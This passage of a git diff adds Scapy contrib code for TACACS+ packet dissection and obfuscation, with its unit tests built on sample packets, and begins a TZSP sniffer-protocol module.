'', length_from=lambda x: x.rem_addr_len)] # noqa: E501 + + def guess_payload_class(self, pay): + if self.arg_cnt > 0: + return TacacsPacketArguments + return conf.padding_layer + + +class TacacsAuthorizationReply(Packet): + + ''' + + Tacacs authorization reply body from section 5.2 + https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-5.2 + + ''' + + name = 'Tacacs Authorization Reply Body' + fields_desc = [ByteEnumField('status', 0, TACACSAUTHORSTATUS), + FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'), # noqa: E501 + FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'), # noqa: E501 + FieldLenField('data_len', None, fmt='!H', length_of='data'), + FieldListField('arg_len_list', [], ByteField('', 0), + length_from=lambda pkt: pkt.arg_cnt), + StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len), # noqa: E501 + StrLenField('data', '', length_from=lambda x: x.data_len)] + + def guess_payload_class(self, pay): + if self.arg_cnt > 0: + return TacacsPacketArguments + return conf.padding_layer + + +###################### +# Accounting Packets # +###################### + +TACACSACNTFLAGS = {2: 'Start', + 4: 'Stop', + 8: 'Watchdog'} + +TACACSACNTSTATUS = {1: 'Success', + 2: 'Error', + 33: 'Follow'} + + +class TacacsAccountingRequest(Packet): + + ''' + + Tacacs accounting request body from section 6.1 + https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-6.1 + + ''' + + name = 'Tacacs Accounting Request Body' + fields_desc = [ByteEnumField('flags', 0, TACACSACNTFLAGS), + ByteEnumField('authen_method', 0, TACACSAUTHORTYPE), + ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL), + ByteEnumField('authen_type', 1, TACACSAUTHENTYPE), + ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE), + FieldLenField('user_len', None, fmt='!B', length_of='user'), + FieldLenField('port_len', None, fmt='!B', length_of='port'), + FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'), # noqa: E501 + FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'), # noqa: E501 + FieldListField('arg_len_list', [], ByteField('', 0), + length_from=lambda pkt: pkt.arg_cnt), + StrLenField('user', '', length_from=lambda x: x.user_len), + StrLenField('port', '', length_from=lambda x: x.port_len), + StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len)] # noqa: E501 + + def guess_payload_class(self, pay): + if self.arg_cnt > 0: + return TacacsPacketArguments + return conf.padding_layer + + +class TacacsAccountingReply(Packet): + + ''' + + Tacacs accounting reply body from section 6.2 + https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-6.2 + + ''' + + name = 'Tacacs Accounting Reply Body' + fields_desc = [FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'), # noqa: E501 + FieldLenField('data_len', None, fmt='!H', length_of='data'), + ByteEnumField('status', None, TACACSACNTSTATUS), + StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len), # noqa: E501 + StrLenField('data', '', length_from=lambda x: x.data_len)] + + +class TacacsPacketArguments(Packet): + + ''' + + Class defined to handle the arguments listed at the end of tacacs+ + Authorization and Accounting packets. + + ''' + + __slots__ = ['_len'] + name = 'Arguments in Tacacs+ packet' + fields_desc = [StrLenField('data', '', length_from=lambda pkt: pkt._len)] + + def pre_dissect(self, s): + cur = self.underlayer + i = 0 + + # Searching the position in layer in order to get its length + + while isinstance(cur, TacacsPacketArguments): + cur = cur.underlayer + i += 1 + self._len = cur.arg_len_list[i] + return s + + def guess_payload_class(self, pay): + cur = self.underlayer + i = 0 + + # Guessing if Argument packet. Nothing in encapsulated via tacacs+ + + while isinstance(cur, TacacsPacketArguments): + cur = cur.underlayer + i += 1 + if i + 1 < cur.arg_cnt: + return TacacsPacketArguments + return conf.padding_layer + + +class TacacsClientPacket(Packet): + + ''' + + Super class for tacacs packet in order to get them unencrypted + Obfuscation methodology from section 3.7 + https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.7 + + ''' + + def post_dissect(self, pay): + + if self.flags == 0: + pay = obfuscate(pay, SECRET, self.session_id, self.version, self.seq) # noqa: E501 + return pay + + +class TacacsHeader(TacacsClientPacket): + + ''' + + Tacacs Header packet from section 3.8 + https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.8 + + ''' + + name = 'Tacacs Header' + fields_desc = [ByteEnumField('version', 192, TACACSVERSION), + ByteEnumField('type', 1, TACACSTYPE), + ByteField('seq', 1), + ByteEnumField('flags', 0, TACACSFLAGS), + IntField('session_id', 0), + IntField('length', None)] + + def guess_payload_class(self, payload): + + # Guessing packet type from type and seq values + + # Authentication packet - type 1 + + if self.type == 1: + if self.seq % 2 == 0: + return TacacsAuthenticationReply + if sum(struct.unpack('bbbb', payload[4:8])) == len(payload[8:]): + return TacacsAuthenticationStart + elif sum(struct.unpack('!hh', payload[:4])) == len(payload[5:]): + return TacacsAuthenticationContinue + + # Authorization packet - type 2 + + if self.type == 2: + if self.seq % 2 == 0: + return TacacsAuthorizationReply + return TacacsAuthorizationRequest + + # Accounting packet - type 3 + + if self.type == 3: + if self.seq % 2 == 0: + return TacacsAccountingReply + return TacacsAccountingRequest + + return conf.raw_layer + + def post_build(self, p, pay): + + # Setting length of packet to obfuscate if not filled by user + + if self.length is None and pay: + p = p[:-4] + struct.pack('!I', len(pay)) + + if self.flags == 0: + + pay = obfuscate(pay, SECRET, self.session_id, self.version, self.seq) # noqa: E501 + return p + pay + + return p + + def hashret(self): + return struct.pack('I', self.session_id) + + def answers(self, other): + return (isinstance(other, TacacsHeader) and + self.seq == other.seq + 1 and + self.type == other.type and + self.session_id == other.session_id) + + +bind_layers(TCP, TacacsHeader, dport=49) +bind_layers(TCP, TacacsHeader, sport=49) +bind_layers(TacacsHeader, TacacsAuthenticationStart, type=1, dport=49) +bind_layers(TacacsHeader, TacacsAuthenticationReply, type=1, sport=49) + +if __name__ == '__main__': + from scapy.main import interact + interact(mydict=globals(), mybanner='tacacs+') diff --git a/libs/scapy/contrib/tacacs.uts b/libs/scapy/contrib/tacacs.uts new file mode 100755 index 0000000..4c4fd0c --- /dev/null +++ b/libs/scapy/contrib/tacacs.uts @@ -0,0 +1,194 @@ ++ Tacacs+ header + += default instantiation + +from scapy.consts import WINDOWS +if WINDOWS: + route_add_loopback() + +pkt = IP()/TCP(dport=49)/TacacsHeader() +raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd0p\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' + += default values build + +pkt = IP()/TCP(dport=49)/TacacsHeader() +pkt.session_id == 0 and TacacsHeader in pkt + += filled values build + +pkt = IP()/TCP(dport=49)/TacacsHeader(seq=5, session_id=165) +raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xcb\xcb\x00\x00\xc0\x01\x05\x00\x00\x00\x00\xa5\x00\x00\x00\x00' + += dissection + +pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x1c4\x00\x00\xc0\x01\x01\x00\x00Y\xb3\xe3\x00\x00\x00\x00') +pkt.session_id == 5878755 + ++ Tacacs+ Authentication Start + += default instantiation + +pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationStart() +raw(pkt) == b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xce\xfb\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x08R\x0f\x9e\xe7\xe0\xd1/\x9c' + += default values build + +pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationStart() +TacacsAuthenticationStart in pkt and pkt.action == 1 and pkt.priv_lvl == 1 and pkt.authen_type == 1 and pkt.authen_service == 1 + += filled values build -- SSH connection sample use scapy, secret = test + +pkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, flags=0, session_id=2424164486, length=28)/TacacsAuthenticationStart(user_len=5, port_len=4, rem_addr_len=11, data_len=0, user='scapy', port='tty2', rem_addr='172.10.10.1') +raw(pkt) == b"E\x00\x00P\x00\x01\x00\x00@\x06|\xa5\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd4t\x00\x00\xc0\x01\x01\x00\x90}\xd0\x86\x00\x00\x00\x1c\x05\x00POza\xed\xee}\xa5R\xd3Vu+\xbb'\xae\x98\xaa\x1a\x9d\x17=\x90\xd2\x07q" + += dissection + +pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00P\x00\x01\x00\x00@\x06|\xa5\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd5t\x00\x00\xc0\x01\x01\x00\x90}\xd0\x86\x00\x00\x00\x1c\x05\x00POza\xed\xee}\xa5R\xd3Vu+\xbb&\xae\x98\xaa\x1a\x9d\x17=\x90\xd2\x07q') +pkt.user == b'scapy' and pkt.port == b'tty3' + ++ Tacacs+ Authentication Reply + += default instantiation + +pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationReply() +raw(pkt) == b'E\x00\x00:\x00\x01\x00\x00@\x06|\xbb\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xfd\x9d\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06R\x0e\x9f\xe6\xe0\xd1' + += default values build + +pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2)/TacacsAuthenticationReply() +TacacsAuthenticationReply in pkt and pkt.status == 1 + += filled values build -- SSH connection sample use scapy, secret = test + +pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, flags=0, session_id=2424164486, length=16)/TacacsAuthenticationReply(status=5, flags=1, server_msg_len=10, data_len=0, server_msg='Password: ') +raw(pkt) == b'E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x0f\x87\x00\x00\xc0\x01\x02\x00\x90}\xd0\x86\x00\x00\x00\x10*\x0c\x1d\xa0\xa2[xE\x0b\t/s\xee\x8b\xd3o' + += dissection + +pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x0f\x87\x00\x00\xc0\x01\x02\x00\x90}\xd0\x86\x00\x00\x00\x10*\x0c\x1d\xa0\xa2[xE\x0b\t/s\xee\x8b\xd3o') +pkt.server_msg == b'Password: ' + ++ Tacacs+ Authentication Continue + += default instantiation + +pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationContinue() +raw(pkt) == b'E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xfcp\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x05S\x0e\x9f\xe6\xe1' + += default values build + +pkt = TacacsAuthenticationContinue() +TacacsAuthenticationContinue in pkt and pkt.data == b'' and pkt.user_msg == b'' and pkt.data_len is None and pkt.user_msg_len is None + += filled values build -- SSH connection sample secret = test, password = pass + +pkt = IP()/TCP(dport=49)/TacacsHeader(seq=3, flags=0, session_id=2424164486, length=9)/TacacsAuthenticationContinue(flags=0, user_msg_len=4, data_len=0, user_msg='pass') +raw(pkt) == b'E\x00\x00=\x00\x01\x00\x00@\x06|\xb8\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00u\xfa\x00\x00\xc0\x01\x03\x00\x90}\xd0\x86\x00\x00\x00\t\xec8\xc1\x8d\xcc\xec(\xacT' + += dissection + +pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00A\x00\x01\x00\x00@\x06|\xb4\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb5\xfd\x00\x00\xc0\x01\x03\x00\x90}\xd0\x86\x00\x00\x00\r\xec4\xc1\x8d\xcc\xec(\xacT\xd2k&T') +pkt.user_msg == b'password' + ++ Tacacs+ Authorization Request + += default instantiation + +pkt = IP()/TCP()/TacacsHeader(type=2)/TacacsAuthorizationRequest() +raw(pkt) == b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xcd\xdb\x00\x00\xc0\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x08S\x0f\x9e\xe7\xe0\xd1/\x9c' + += default values build + +pkt = IP()/TCP(dport=49)/TacacsHeader(type=2)/TacacsAuthorizationRequest() +TacacsAuthorizationRequest in pkt and pkt.priv_lvl == 1 and pkt.authen_type == 1 and pkt.authen_service == 1 + += filled values build -- SSH connection sample secret = test + +pkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, type=2 , flags=0, session_id=135252, length=47)/TacacsAuthorizationRequest(authen_method=6, user_len=5, port_len=4, rem_addr_len=11, arg_cnt=2, arg_len_list=[13, 4], user='scapy', port='tty2', rem_addr='172.10.10.1')/TacacsPacketArguments(data='service=shell')/TacacsPacketArguments(data='cmd*') +raw(pkt) == b'E\x00\x00c\x00\x01\x00\x00@\x06|\x92\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb28\x00\x00\xc0\x02\x01\x00\x00\x02\x10T\x00\x00\x00/\xdd\xe0\xe8\xea\xba\xca$Y\xf7\x00\xc2Hh\xed\x03\x1eK84\x10\xb9h\xd7@\x0e\xd5\x13\xf0\xfaA\xfa\xbe;\x01\x82\xecl\xf9\xc6\xa0Z6\x98j\xfd\\9' + += dissection + +pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00c\x00\x01\x00\x00@\x06|\x92\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xc2D\x00\x00\xc0\x02\x01\x00R\xf2\x0e\xf4\x00\x00\x00/\xe6\x01\x03 \xd7\xa9\x91\x7fv\xf2\x15-\x88a\xac$\x14\x9f\xc0\xbb\xb8a\xe0\x86e\xf9\xd9\xa2\xc4\xe7\x0bRI\xc8\xdd\x97\xd5\x80\xcf\xce\x81*"\xbc\x15E\x95') +pkt.port == b'tty9' + ++ Tacacs+ Authorization Reply + += default instantiation + +pkt = IP()/TCP()/TacacsHeader(type=2)/TacacsAuthorizationReply() +raw(pkt) == b'E\x00\x00:\x00\x01\x00\x00@\x06|\xbb\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xfc}\x00\x00\xc0\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06S\x0e\x9f\xe6\xe0\xd1' + += default values build + +pkt = TacacsHeader()/TacacsAuthorizationReply() +TacacsAuthorizationReply in pkt and pkt.status == 0 and pkt.arg_cnt is None and pkt.data_len is None + += filled values build -- SSH connection sample secret = test + +pkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(seq=2, type=2 , flags=0, session_id=1391595252, length=20)/TacacsAuthorizationReply(status=1, arg_cnt=2, server_msg_len=0, data_len=0, arg_len_list=[11, 1])/TacacsPacketArguments(data='priv-lvl=15')/TacacsPacketArguments(data='a') +raw(pkt) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00|G\x00\x00\xc0\x02\x02\x00R\xf2\x0e\xf4\x00\x00\x00\x14\xce^Xp~Z\x9b^\xd8Y\xc9"\xf5\xb0&\xe5Ji\xa8\x15' + += dissection + +pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00|G\x00\x00\xc0\x02\x02\x00R\xf2\x0e\xf4\x00\x00\x00\x14\xce^Xp~Z\x9b^\xd8Y\xc9"\xf5\xb0&\xe5Ji\xa8\x15') +pkt.status == 1 + ++ Tacacs+ Accounting Request + += default instantiation + +pkt = IP()/TCP()/TacacsHeader(type=3)/TacacsAccountingRequest() +raw(pkt) == b'E\x00\x00=\x00\x01\x00\x00@\x06|\xb8\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb3\xd9\x00\x00\xc0\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\tS\x0e\x9e\xe7\xe1\xd1/\x9c\x19' + += default value build + +pkt = IP()/TCP()/TacacsHeader(type=3)/TacacsAccountingRequest() +TacacsAccountingRequest in pkt and pkt.authen_method == 0 and pkt.priv_lvl == 1 and pkt.authen_type == 1 + += filled values build -- SSH connection sample secret = test + +pkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, type=3 , flags=0, session_id=3059434316, length=67)/TacacsAccountingRequest(flags=2, authen_method=6, priv_lvl=15, authen_type=1, authen_service=1, user_len=5, port_len=4, rem_addr_len=11, arg_cnt=3, arg_len_list=[10, 12, 13], user='scapy', port='tty2', rem_addr='172.10.10.1')/TacacsPacketArguments(data='task_id=24')/TacacsPacketArguments(data='timezone=CET')/TacacsPacketArguments(data='service=shell') +raw(pkt) == b'E\x00\x00w\x00\x01\x00\x00@\x06|~\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00sk\x00\x00\xc0\x03\x01\x00\xb6[CL\x00\x00\x00C\x1d\xfb\x81\xd52\xfb\x06\x8b\t\xb9\x0c87\xd3 i\x05\xb5|\x9f\x01l\xbf/\xd3\rc\x0f\nDr\xc0\xc9.\x88@*(S\xfeA\xd4\x19wFj=\xc3\x9f\x00!D\xbe$E\x04\x0e\xe75\x99\xd6\r\x0f\x16\xc7\x1d\xc2' + += dissection + +pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00w\x00\x01\x00\x00@\x06|~\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00|j\x00\x00\xc0\x03\x01\x00\xb6[CL\x00\x00\x00C\x1d\xfb\x81\xd52\xfb\x06\x8b\t\xb9\x0c87\xd3 i\x05\xb5|\x9f\x01l\xb1/\xd3\rc\x0f\nDr\xc0\xc9.\x88@*(S\xfeF\xd5\x19wFj=\xc3\x9f\x00!D\xbe$E\x04\x0e\xe75\x99\xd6\r\x0f\x16\xc7\x1d\xc2') +pkt.rem_addr == b'192.10.10.1' + ++ Tacacs+ Accounting Reply + += default instantiation + +pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3)/TacacsAccountingReply() +raw(pkt) == b'E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00,\x07\x00\x00\xc0\x03\x02\x00\x00\x00\x00\x00\x00\x00\x00\x05B\xd2A\x8b\x1f' + += default values build + +pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3)/TacacsAccountingReply() +TacacsAccountingReply in pkt and pkt.server_msg == b'' and pkt.server_msg_len is None and pkt.status is None + += filled values build -- SSH connection sample secret = test + +pkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3 , flags=0, session_id=3059434316, length=5)/TacacsAccountingReply(status=1, server_msg_len=0, data_len=0) +raw(pkt) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xc5\x7f\x00\x00\xc0\x03\x02\x00\xb6[CL\x00\x00\x00\x05\xf4\x0f\xad,o' + += dissection +pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xc5\x7f\x00\x00\xc0\x03\x02\x00\xb6[CL\x00\x00\x00\x05\xf4\x0f\xad,o') +pkt.status == 1 + ++ Changing secret to foobar + += instantiation + +scapy.contrib.tacacs.SECRET = 'foobar' +pkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(session_id=441255181, type=3, seq=2, length=5)/TacacsAccountingReply(status=1, server_msg_len=0, data_len=0) +raw(pkt) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00/,\x00\x00\xc0\x03\x02\x00\x1aM\x05\r\x00\x00\x00\x05S)\x9b\xb4\x92' + += dissection + +scapy.contrib.tacacs.SECRET = 'foobar' + +pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00/,\x00\x00\xc0\x03\x02\x00\x1aM\x05\r\x00\x00\x00\x05S)\x9b\xb4\x92') +pkt.status == 1 + diff --git a/libs/scapy/contrib/tzsp.py b/libs/scapy/contrib/tzsp.py new file mode 100755 index 0000000..52cb676 --- /dev/null +++ b/libs/scapy/contrib/tzsp.py @@ -0,0 +1,484 @@ +# scapy.contrib.description = TaZmen Sniffer Protocol (TZSP) +# scapy.contrib.status = loads + +""" + TZSP - TaZmen Sniffer Protocol + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + :author: Thomas Tannhaeuser, hecke@naberius.de + :license: GPLv2 + + This module is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This module is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + :description: + + This module provides Scapy layers for the TZSP protocol. + + references: + - https://en.wikipedia.org/wiki/TZSP + - https://web.archive.org/web/20050404125022/http://www.networkchemistry.com/support/appnotes/an001_tzsp.html # noqa: E501 + + :NOTES: + - to allow Scapy to dissect this layer automatically, you need to bind the TZSP layer to UDP using # noqa: E501 + the default TZSP port (0x9090), e.g. + + bind_layers(UDP, TZSP, sport=TZSP_PORT_DEFAULT) + bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + + - packet format definition from www.networkchemistry.com is different from the one given by wikipedia # noqa: E501 + - seems Wireshark implements the wikipedia protocol version (didn't dive into their code) # noqa: E501 + - observed (miss)behavior of Wireshark (2.2.6) + - fails to decode RSSI & SNR using short values - only one byte taken + - SNR is labeled as silence + - WlanRadioHdrSerial is labeled as Sensor MAC + - doesn't know the packet count tag (40 / 0x28) + +""" +from scapy.compat import orb +from scapy.contrib.avs import AVSWLANHeader +from scapy.error import warning, Scapy_Exception +from scapy.fields import ByteField, ShortEnumField, IntField, FieldLenField, YesNoByteField # noqa: E501 +from scapy.layers.dot11 import Packet, Dot11, PrismHeader +from scapy.layers.l2 import Ether +from scapy.fields import StrLenField, ByteEnumField, ShortField, XStrLenField +from scapy.packet import Raw + + +TZSP_PORT_DEFAULT = 0x9090 + + +class TZSP(Packet): + TYPE_RX_PACKET = 0x00 + TYPE_TX_PACKET = 0x01 + TYPE_CONFIG = 0x03 + TYPE_KEEPALIVE = TYPE_NULL = 0x04 + TYPE_PORT = 0x05 + + TYPES = { + TYPE_RX_PACKET: 'RX_PACKET', + TYPE_TX_PACKET: 'TX_PACKET', + TYPE_CONFIG: 'CONFIG', + TYPE_NULL: 'KEEPALIVE/NULL', + TYPE_PORT: 'PORT', + } + + ENCAPSULATED_ETHERNET = 0x01 + ENCAPSULATED_IEEE_802_11 = 0x12 + ENCAPSULATED_PRISM_HEADER = 0x77 + ENCAPSULATED_WLAN_AVS = 0x7f + + ENCAPSULATED_PROTOCOLS = { + ENCAPSULATED_ETHERNET: 'ETHERNET', + ENCAPSULATED_IEEE_802_11: 'IEEE 802.11', + ENCAPSULATED_PRISM_HEADER: 'PRISM HEADER', + ENCAPSULATED_WLAN_AVS: 'WLAN AVS' + } + + ENCAPSULATED_PROTOCOL_CLASSES = { + ENCAPSULATED_ETHERNET: Ether, + ENCAPSULATED_IEEE_802_11: Dot11, + ENCAPSULATED_PRISM_HEADER: PrismHeader, + ENCAPSULATED_WLAN_AVS: AVSWLANHeader + } + + fields_desc = [ + ByteField('version', 0x01), + ByteEnumField('type', TYPE_RX_PACKET, TYPES), + ShortEnumField('encapsulated_protocol', ENCAPSULATED_ETHERNET, ENCAPSULATED_PROTOCOLS) # noqa: E501 + ] + + def get_encapsulated_payload_class(self): + """ + get the class that holds the encapsulated payload of the TZSP packet + :return: class representing the payload, Raw() on error + """ + + try: + return TZSP.ENCAPSULATED_PROTOCOL_CLASSES[self.encapsulated_protocol] # noqa: E501 + except KeyError: + warning( + 'unknown or invalid encapsulation type (%i) - returning payload as raw()' % self.encapsulated_protocol) # noqa: E501 + return Raw + + def guess_payload_class(self, payload): + if self.type == TZSP.TYPE_KEEPALIVE: + if len(payload): + warning('payload (%i bytes) in KEEPALIVE/NULL packet' % len(payload)) # noqa: E501 + return Raw + else: + return _tzsp_guess_next_tag(payload) + + def get_encapsulated_payload(self): + + has_encapsulated_data = self.type == TZSP.TYPE_RX_PACKET or self.type == TZSP.TYPE_TX_PACKET # noqa: E501 + + if has_encapsulated_data: + end_tag_lyr = self.payload.getlayer(TZSPTagEnd) + if end_tag_lyr: + return end_tag_lyr.payload + else: + return None + + +def _tzsp_handle_unknown_tag(payload, tag_type): + + payload_len = len(payload) + + if payload_len < 2: + warning('invalid or unknown tag type (%i) and too short packet - treat remaining data as Raw' % tag_type) # noqa: E501 + return Raw + + tag_data_length = orb(payload[1]) + + tag_data_fits_in_payload = (tag_data_length + 2) <= payload_len + if not tag_data_fits_in_payload: + warning('invalid or unknown tag type (%i) and too short packet - treat remaining data as Raw' % tag_type) # noqa: E501 + return Raw + + warning('invalid or unknown tag type (%i)' % tag_type) + + return TZSPTagUnknown + + +def _tzsp_guess_next_tag(payload): + """ + :return: class representing the next tag, Raw on error, None on missing payload # noqa: E501 + """ + + if not payload: + warning('missing payload') + return None + + tag_type = orb(payload[0]) + + try: + tag_class_definition = _TZSP_TAG_CLASSES[tag_type] + + except KeyError: + + return _tzsp_handle_unknown_tag(payload, tag_type) + + if type(tag_class_definition) is not dict: + return tag_class_definition + + try: + length = orb(payload[1]) + except IndexError: + length = None + + if not length: + warning('no tag length given - packet to short') + return Raw + + try: + return tag_class_definition[length] + except KeyError: + warning('invalid tag length {} for tag type {}'.format(length, tag_type)) # noqa: E501 + return Raw + + +class _TZSPTag(Packet): + TAG_TYPE_PADDING = 0x00 + TAG_TYPE_END = 0x01 + TAG_TYPE_RAW_RSSI = 0x0a + TAG_TYPE_SNR = 0x0b + TAG_TYPE_DATA_RATE = 0x0c + TAG_TYPE_TIMESTAMP = 0x0d + TAG_TYPE_CONTENTION_FREE = 0x0f + TAG_TYPE_DECRYPTED = 0x10 + TAG_TYPE_FCS_ERROR = 0x11 + TAG_TYPE_RX_CHANNEL = 0x12 + TAG_TYPE_PACKET_COUNT = 0x28 + TAG_TYPE_RX_FRAME_LENGTH = 0x29 + TAG_TYPE_WLAN_RADIO_HDR_SERIAL = 0x3c + + TAG_TYPES = { + TAG_TYPE_PADDING: 'PADDING', + TAG_TYPE_END: 'END', + TAG_TYPE_RAW_RSSI: 'RAW_RSSI', + TAG_TYPE_SNR: 'SNR', + TAG_TYPE_DATA_RATE: 'DATA_RATE', + TAG_TYPE_TIMESTAMP: 'TIMESTAMP', + TAG_TYPE_CONTENTION_FREE: 'CONTENTION_FREE', + TAG_TYPE_DECRYPTED: 'DECRYPTED', + TAG_TYPE_FCS_ERROR: 'FCS_ERROR', + TAG_TYPE_RX_CHANNEL: 'RX_CHANNEL', + TAG_TYPE_PACKET_COUNT: 